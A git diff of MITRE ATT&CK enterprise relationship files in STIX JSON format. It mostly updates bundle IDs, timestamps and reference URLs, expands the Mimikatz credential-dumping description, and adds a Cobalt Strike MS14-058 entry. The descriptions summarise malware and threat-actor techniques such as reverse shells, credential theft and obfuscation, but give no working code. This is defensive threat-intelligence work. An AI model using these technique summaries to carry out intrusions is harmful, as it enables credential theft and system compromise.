diff --git a/enterprise-attack/relationship/relationship--b69424ec-3af6-44aa-842a-81fba219b9f4.json b/enterprise-attack/relationship/relationship--b69424ec-3af6-44aa-842a-81fba219b9f4.json
index 348bfd9f63..d7c7cddd8f 100644
--- a/enterprise-attack/relationship/relationship--b69424ec-3af6-44aa-842a-81fba219b9f4.json
+++ b/enterprise-attack/relationship/relationship--b69424ec-3af6-44aa-842a-81fba219b9f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82a4bada-6aab-40a9-837e-9586473c1602",
+    "id": "bundle--f47d037a-31b3-4cc3-b6bf-f723a7c2189b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b69424ec-3af6-44aa-842a-81fba219b9f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Darkhotel has used code-signing certificates on its malware that are either forged due to weak keys or stolen.",
             "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
diff --git a/enterprise-attack/relationship/relationship--b6970925-a435-4942-b244-60e4f57acf86.json b/enterprise-attack/relationship/relationship--b6970925-a435-4942-b244-60e4f57acf86.json
index 47c8ef81be..d00567c258 100644
--- a/enterprise-attack/relationship/relationship--b6970925-a435-4942-b244-60e4f57acf86.json
+++ b/enterprise-attack/relationship/relationship--b6970925-a435-4942-b244-60e4f57acf86.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--59f79184-46aa-46a5-9075-d2ecdc35d5b8",
+    "id": "bundle--d7e45220-3290-4eed-a03b-c55d1e00f086",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b6970925-a435-4942-b244-60e4f57acf86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD is capable of file deletion along with other file system interaction.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
diff --git a/enterprise-attack/relationship/relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35.json b/enterprise-attack/relationship/relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35.json
index 1c3663e11f..936541b663 100644
--- a/enterprise-attack/relationship/relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35.json
+++ b/enterprise-attack/relationship/relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bf6824e3-be5b-4a0a-8060-b8307e8c0478",
+    "id": "bundle--2a49222d-d366-412c-99e7-cee45fa11377",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b6ae274b-f0b3-4694-ab8d-37e0c62cff35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects information about running processes.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35.json b/enterprise-attack/relationship/relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35.json
index 03f85fc076..6f32a704b5 100644
--- a/enterprise-attack/relationship/relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35.json
+++ b/enterprise-attack/relationship/relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--44faccf4-d2c7-47c3-9899-f935164d82ce",
+    "id": "bundle--6c5f34ab-3372-41cb-b0db-7565e1861a18",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b6eb09bc-fef4-4cf3-b337-dfe6bd87ca35",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
             "target_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
diff --git a/enterprise-attack/relationship/relationship--b6f00052-49e3-48c5-8f5e-492be4e67acf.json b/enterprise-attack/relationship/relationship--b6f00052-49e3-48c5-8f5e-492be4e67acf.json
index 22ea6dfe8c..cf77bfafcd 100644
--- a/enterprise-attack/relationship/relationship--b6f00052-49e3-48c5-8f5e-492be4e67acf.json
+++ b/enterprise-attack/relationship/relationship--b6f00052-49e3-48c5-8f5e-492be4e67acf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d03331c1-d206-426f-9ea3-c7c2004ea23d",
+    "id": "bundle--c266387d-9529-4ae8-9b99-339114d602ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b6f00052-49e3-48c5-8f5e-492be4e67acf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c1676218-c16a-41c9-8f7a-023779916e39",
             "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
diff --git a/enterprise-attack/relationship/relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27.json b/enterprise-attack/relationship/relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27.json
index 8cbda0f9c1..b76f1a26ef 100644
--- a/enterprise-attack/relationship/relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27.json
+++ b/enterprise-attack/relationship/relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--852c06cd-aae5-4c67-a7b8-f570af99b594",
+    "id": "bundle--286f1653-b4cd-4461-9c62-45321f707cf5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b6f70ba6-bff1-4b40-a418-356e7b6efa27",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03.json b/enterprise-attack/relationship/relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03.json
index 755e43b42a..f24ea65090 100644
--- a/enterprise-attack/relationship/relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03.json
+++ b/enterprise-attack/relationship/relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c5e39a20-529d-4ced-a609-4825b1bce63e",
+    "id": "bundle--63488c1d-8b97-4989-8061-517211a0c1af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Most of the strings in ADVSTORESHELL are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 },
                 {
                     "source_name": "Bitdefender APT28 Dec 2015",
diff --git a/enterprise-attack/relationship/relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb.json b/enterprise-attack/relationship/relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb.json
index e5f5283ea5..3d95a484cb 100644
--- a/enterprise-attack/relationship/relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb.json
+++ b/enterprise-attack/relationship/relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dffad9ac-efe3-471a-bd89-d65bb73459d2",
+    "id": "bundle--8aa7d900-7c4f-4d2e-bcbb-2790905d0624",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b719d37b-8f0e-4704-b21d-8977a5c7cceb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3.json b/enterprise-attack/relationship/relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3.json
index ac858a5d31..c9eeca6d81 100644
--- a/enterprise-attack/relationship/relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3.json
+++ b/enterprise-attack/relationship/relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7b22ccc-24f0-4ae4-88bd-846606fda0a3",
+    "id": "bundle--786603bb-50e2-4460-bd4b-0c92d585cfac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to discover and manipulate Windows services.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8.json b/enterprise-attack/relationship/relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8.json
index e154ec988b..6dcc658bd1 100644
--- a/enterprise-attack/relationship/relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8.json
+++ b/enterprise-attack/relationship/relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67455165-648c-4b58-9937-62f69fbae8b2",
+    "id": "bundle--dc3a7452-4df3-4ff6-bdb6-334a70dbe32e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--b7930db8-2cb9-4ecf-b3d3-7425f99140d8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from LSA, SAM table, credential vault, and DCSync.",
+            "description": "Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA, SAM table, credential vault, DCSync/NetSync, and DPAPI.",
             "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
             "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
             "external_references": [
@@ -23,6 +23,11 @@
                     "source_name": "GitHub Mimikatz lsadump Module",
                     "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                     "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
+                },
+                {
+                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015",
+                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
+                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb.json b/enterprise-attack/relationship/relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb.json
index 0911a1ee82..3b052f2193 100644
--- a/enterprise-attack/relationship/relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb.json
+++ b/enterprise-attack/relationship/relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9b88d25b-ade1-40fd-b427-37e1f08a0f79",
+    "id": "bundle--d75d606f-e2b4-4534-a2d2-3abebe466ffa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT can list running processes.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--b8306976-370f-403d-9983-fe3327c00709.json b/enterprise-attack/relationship/relationship--b8306976-370f-403d-9983-fe3327c00709.json
index 5157560950..1c210f0b73 100644
--- a/enterprise-attack/relationship/relationship--b8306976-370f-403d-9983-fe3327c00709.json
+++ b/enterprise-attack/relationship/relationship--b8306976-370f-403d-9983-fe3327c00709.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--92cc7c6a-5aff-4493-9b50-726e2acc0246",
+    "id": "bundle--a0b2a275-f23e-4d7f-bed6-76485598e2e8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b8306976-370f-403d-9983-fe3327c00709",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294",
             "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
diff --git a/enterprise-attack/relationship/relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765.json b/enterprise-attack/relationship/relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765.json
index bcde6a4d13..7ce8047ffa 100644
--- a/enterprise-attack/relationship/relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765.json
+++ b/enterprise-attack/relationship/relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2056a14c-2b51-4297-98a8-86f8f843c5c9",
+    "id": "bundle--3f02bce7-8115-4f0f-ad57-83b427a53f36",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover remote systems on a local network using the <code>net view</code> and <code>net view /DOMAIN</code> commands.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--b8e50d79-c024-4dc1-aad2-d7181fbbf1bb.json b/enterprise-attack/relationship/relationship--b8e50d79-c024-4dc1-aad2-d7181fbbf1bb.json
index 7b94034e54..7a3d3bf407 100644
--- a/enterprise-attack/relationship/relationship--b8e50d79-c024-4dc1-aad2-d7181fbbf1bb.json
+++ b/enterprise-attack/relationship/relationship--b8e50d79-c024-4dc1-aad2-d7181fbbf1bb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3024f70e-245e-4c6b-8afd-f453429f3a14",
+    "id": "bundle--80502495-4bc6-4d30-a635-1eb7980f7208",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b8e50d79-c024-4dc1-aad2-d7181fbbf1bb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind can execute commands via an interactive command shell.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e.json b/enterprise-attack/relationship/relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e.json
index aec8e38782..e34a1b8cb8 100644
--- a/enterprise-attack/relationship/relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e.json
+++ b/enterprise-attack/relationship/relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c04b7a6-7133-4239-852f-72614add28da",
+    "id": "bundle--9002f5a2-985f-4594-a4e0-f3fbe437a765",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TEXTMATE executes cmd.exe to provide  a reverse shell to attackers.",
             "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
diff --git a/enterprise-attack/relationship/relationship--b8f1354c-9cff-40ef-aa47-591952c735c3.json b/enterprise-attack/relationship/relationship--b8f1354c-9cff-40ef-aa47-591952c735c3.json
index 51cc2b1c04..93a515e772 100644
--- a/enterprise-attack/relationship/relationship--b8f1354c-9cff-40ef-aa47-591952c735c3.json
+++ b/enterprise-attack/relationship/relationship--b8f1354c-9cff-40ef-aa47-591952c735c3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ab9de8f3-0454-4b68-abe7-55c50c5c64de",
+    "id": "bundle--f6e1e6bc-8482-4ba2-989d-a4adc0ac3d1e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b8f1354c-9cff-40ef-aa47-591952c735c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--b9083516-7dd3-4ef2-808a-1df48894122b.json b/enterprise-attack/relationship/relationship--b9083516-7dd3-4ef2-808a-1df48894122b.json
index 8ee9a13155..5d4ae97b42 100644
--- a/enterprise-attack/relationship/relationship--b9083516-7dd3-4ef2-808a-1df48894122b.json
+++ b/enterprise-attack/relationship/relationship--b9083516-7dd3-4ef2-808a-1df48894122b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e59cf067-6152-4c7d-95aa-0580ca50e9a9",
+    "id": "bundle--5e5c44b6-8e6c-488d-bec0-410825dfcb9b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b9083516-7dd3-4ef2-808a-1df48894122b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Group5 packed an executable by base64 encoding the PE file and breaking it up into numerous lines.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
diff --git a/enterprise-attack/relationship/relationship--b91e06c1-9546-4184-9552-ba501bf9182e.json b/enterprise-attack/relationship/relationship--b91e06c1-9546-4184-9552-ba501bf9182e.json
index 3e0c92e5af..73ceee774e 100644
--- a/enterprise-attack/relationship/relationship--b91e06c1-9546-4184-9552-ba501bf9182e.json
+++ b/enterprise-attack/relationship/relationship--b91e06c1-9546-4184-9552-ba501bf9182e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c2831745-e5f7-432d-b845-360da0f412dd",
+    "id": "bundle--7c5c9c74-e0cb-402b-b76a-8af09de0189e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b91e06c1-9546-4184-9552-ba501bf9182e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ipconfig can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.",
             "source_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
diff --git a/enterprise-attack/relationship/relationship--b942cd55-6fed-49a1-ba05-af23836b518f.json b/enterprise-attack/relationship/relationship--b942cd55-6fed-49a1-ba05-af23836b518f.json
new file mode 100644
index 0000000000..1986c8fd8c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--b942cd55-6fed-49a1-ba05-af23836b518f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--67eb5495-a8c5-49eb-b279-704f5dc3869b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--b942cd55-6fed-49a1-ba05-af23836b518f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can exploit vulnerabilities such as MS14-058.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f.json b/enterprise-attack/relationship/relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f.json
index 671decf758..cccffd495c 100644
--- a/enterprise-attack/relationship/relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f.json
+++ b/enterprise-attack/relationship/relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--172fc684-bcea-475e-9b76-ff137a50a76f",
+    "id": "bundle--b511a5d0-8112-4e60-a26f-aff093b7f5a3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b94e707d-b2f8-4b68-acac-44d3777dd93f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves encrypts C2 traffic with RC4 using a secret key of 88888888.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--b97e696f-6386-4b15-8f24-81d0abe51830.json b/enterprise-attack/relationship/relationship--b97e696f-6386-4b15-8f24-81d0abe51830.json
index 60a8b9a773..52f08fd1a6 100644
--- a/enterprise-attack/relationship/relationship--b97e696f-6386-4b15-8f24-81d0abe51830.json
+++ b/enterprise-attack/relationship/relationship--b97e696f-6386-4b15-8f24-81d0abe51830.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c8589e1-4d81-4620-828c-c9c5dc4cb309",
+    "id": "bundle--3cbed7b2-066f-4aaf-879a-9ab14d1e9010",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b97e696f-6386-4b15-8f24-81d0abe51830",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HIDEDRV injects a DLL for Downdelph into the explorer.exe process.",
             "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
diff --git a/enterprise-attack/relationship/relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198.json b/enterprise-attack/relationship/relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198.json
index a819f0a29e..2d14e8071f 100644
--- a/enterprise-attack/relationship/relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198.json
+++ b/enterprise-attack/relationship/relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a39091b7-632d-4670-a35e-faeb4bb55a9b",
+    "id": "bundle--4f54ea83-1621-4812-b968-dcc25d28c89f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Regin malware platform can use Windows admin shares to move laterally.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4.json b/enterprise-attack/relationship/relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4.json
index bb6d6d3791..4897787656 100644
--- a/enterprise-attack/relationship/relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4.json
+++ b/enterprise-attack/relationship/relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ee47015-4f5d-49d7-a285-a9048853f77d",
+    "id": "bundle--17a28f40-94a7-422f-ab46-680f504e53ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4",
